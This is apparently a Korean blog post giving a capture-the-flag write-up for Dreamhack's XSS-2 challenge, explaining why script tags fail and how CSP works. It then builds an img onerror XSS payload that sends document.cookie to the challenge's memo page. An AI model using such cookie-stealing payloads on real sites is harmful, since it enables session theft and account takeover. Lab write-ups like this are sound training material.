보안 실습

[문제 풀이] Dreamhack XSS-2

1학년 2024. 9. 5. 23:41

 

xss를 이용하여 flag를 구하는 문제이다.

일단 서버를 생성해 문제를 들어가준다.

 

페이지가 3개가 있는데 하나씩 들어가서 어떤 페이지인지 확인해준다.

 

<vuln(xss) page>

url 을 확인해보면 <script>alert(1)</script>가 들어가있는데, 팝업창이 뜨지 않는 것을 보아 alert(1)이 작동하지 않는 것을 확인할 수 있다. 

<script>태그 방지가 되어있는 것 확인

 

<memo>

memo?memo=hello 를 확인했을 때 memo 파라미터에 들어가는 값을 memo해주는 걸 확인할 수 있다. 

다른 값을 입력해보면

memo라고 값을 입력했을 때 memo라는 문구가 적히는 것을 확인

 

<flag>

/vuln 페이지의 파라미터 값으로 무언가를 넣을 수 있도록 되어있다.

/vuln 페이지는 <script> 태그가 작동하지 않는 것을 아까 확인하였다.

 

memo 페이지에 요청을 보낼 사용자의 쿠키값이 적혀지도록 만들어야하는데, <script> 태그가 먹지 않는다.

 

여기서

<script> 태그는 웹 사이트의 동작을 정의 할 수 있는 태그이기때문에 CSP 정책와 같은 정책을 적용해 <script> 태그의 사용을 막는다. 

※ CSP (Centent Security Policy) : 콘텐츠 보안 정책으로 XSS나 데이터 삽입 공격을 탐지하고 완화하는데 도움을 주기 위해서 나온 정책

 

<script>태그는 적용이 안되는 것을 확인

<img 태그를 이용해보자

 

이용할 구문 을 뜯어보면 

<img src='x' onerror='alert(1)'>

<img src = : 나타낼 이미지의 주소를 적는다.

onerror= : 이미지를 가져오는 것에서 에러가 발생하였을 경우 실행할 문장

 

<img src='x' onerror=

이미지 주소를 적는 공간에 'x' 라는 이미지 주소가 아닌 값을 적어 의도적으로 에러를 발생시킨다.

에러가 되면 작동될 문장은 

memo 페이지에 쿠키값이 들어가도록 작성하기 위한

<img src='x' onerror= "location.href = 'http://127.0.0.1:8000/memo?memo=' + document.cookie"> 입력

location.href : 해당 페이지로 이동

document.cookie : 사용자 쿠키값

memo 확인

flag 값 출력 확인